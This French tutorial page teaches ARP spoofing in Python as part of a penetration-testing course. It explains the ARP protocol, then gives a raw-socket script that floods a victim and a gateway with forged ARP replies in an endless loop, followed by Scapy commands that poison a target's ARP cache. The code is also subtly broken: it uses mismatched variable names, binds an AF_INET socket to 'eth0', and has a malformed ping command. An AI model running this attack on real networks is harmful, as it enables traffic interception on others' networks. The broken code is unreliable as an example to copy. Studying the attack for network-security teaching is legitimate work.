Test de pénétration Python - Usurpation ARP

L'ARP peut être défini comme un protocole sans état qui est utilisé pour mapper des adresses IP (Internet Protocol) à des adresses de machine physique.

Fonctionnement de l'ARP

Dans cette section, nous découvrirons le fonctionnement de l'ARP. Considérez les étapes suivantes pour comprendre le fonctionnement de l'ARP -

  • Step 1 - Premièrement, lorsqu'une machine veut communiquer avec une autre, elle doit rechercher une adresse physique dans sa table ARP.

  • Step 2 - S'il trouve l'adresse physique de la machine, le paquet après conversion à sa bonne longueur, sera envoyé à la machine souhaitée

  • Step 3 - Mais si aucune entrée n'est trouvée pour l'adresse IP dans le tableau, l'ARP_request sera diffusé sur le réseau.

  • Step 4- Désormais, toutes les machines du réseau compareront l'adresse IP diffusée à l'adresse MAC et si l'une des machines du réseau identifie l'adresse, elle répondra à l'ARP_request avec son adresse IP et MAC. Un tel message ARP est appelé ARP_reply.

  • Step 5 - Enfin, la machine qui envoie la requête stockera la paire d'adresses dans sa table ARP et l'ensemble de la communication aura lieu.

Qu'est-ce que l'ARP Spoofing?

Il peut être défini comme un type d'attaque où un acteur malveillant envoie une demande ARP falsifiée sur le réseau local. L'empoisonnement ARP est également connu sous le nom d'ARP Spoofing. Il peut être compris à l'aide des points suivants -

  • La première usurpation ARP, pour surcharger le commutateur, construira un grand nombre de paquets de demande et de réponse ARP falsifiés.

  • Ensuite, le commutateur sera mis en mode de transfert.

  • Désormais, la table ARP serait inondée de réponses ARP usurpées, de sorte que les attaquants puissent renifler tous les paquets réseau.

Implémentation à l'aide de Python

Dans cette section, nous allons comprendre l'implémentation Python de l'usurpation ARP. Pour cela, nous avons besoin de trois adresses MAC - la première de la victime, la deuxième de l'attaquant et la troisième de la passerelle. Parallèlement à cela, nous devons également utiliser le code du protocole ARP.

Importons les modules requis comme suit -

import socket
import struct
import binascii

Maintenant, nous allons créer une socket, qui aura trois paramètres. Le premier paramètre nous renseigne sur l'interface du paquet (PF_PACKET pour Linux spécifique et AF_INET pour windows), le second paramètre nous dit s'il s'agit d'une socket brute et le troisième paramètre nous renseigne sur le protocole qui nous intéresse (ici 0x0800 utilisé pour IP protocole).

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

Nous allons maintenant fournir l'adresse mac de l'attaquant, de la victime et de la passerelle -

attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'

Nous devons donner le code du protocole ARP comme indiqué -

code ='\x08\x06'

Deux paquets Ethernet, un pour la machine victime et un autre pour la machine passerelle ont été conçus comme suit -

ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac +  attckmac + code

Les lignes de code suivantes sont dans l'ordre conformément à l'en-tête ARP -

htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

Nous devons maintenant donner les adresses IP de la machine passerelle et des machines victimes (Supposons que nous ayons les adresses IP suivantes pour les machines passerelle et victime) -

gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'

Convertissez les adresses IP ci-dessus au format hexadécimal à l'aide du socket.inet_aton() méthode.

gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )

Exécutez la ligne de code suivante pour changer l'adresse IP de la machine passerelle.

victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip

while 1:
   s.send(victim_ARP)
   s.send(gateway_ARP)

Implémentation à l'aide de Scapy sur Kali Linux

L'usurpation ARP peut être implémentée à l'aide de Scapy sur Kali Linux. Suivez ces étapes pour effectuer la même chose -

Étape 1: Adresse de la machine attaquante

Dans cette étape, nous trouverons l'adresse IP de la machine attaquante en exécutant la commande ifconfig sur l'invite de commande de Kali Linux.

Étape 2: Adresse de la machine cible

Dans cette étape, nous trouverons l'adresse IP de la machine cible en exécutant la commande ifconfig sur l'invite de commande de Kali Linux, que nous devons ouvrir sur une autre machine virtuelle.

Étape 3: ping de la machine cible

Dans cette étape, nous devons envoyer un ping à la machine cible à partir de la machine attaquante à l'aide de la commande suivante -

Ping –c 192.168.43.85(say IP address of target machine)

Étape 4: cache ARP sur la machine cible

Nous savons déjà que deux machines utilisent des paquets ARP pour échanger des adresses MAC, donc après l'étape 3, nous pouvons exécuter la commande suivante sur la machine cible pour voir le cache ARP -

arp -n

Étape 5: Création du paquet ARP à l'aide de Scapy

Nous pouvons créer des paquets ARP avec l'aide de Scapy comme suit -

scapy
arp_packt = ARP()
arp_packt.display()

Étape 6: Envoi d'un paquet ARP malveillant à l'aide de Scapy

Nous pouvons envoyer des paquets ARP malveillants avec l'aide de Scapy comme suit -

arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)

Step 7: Again check ARP cache on target machine

Maintenant, si nous vérifions à nouveau le cache ARP sur la machine cible, nous verrons la fausse adresse '1.1.1.1'.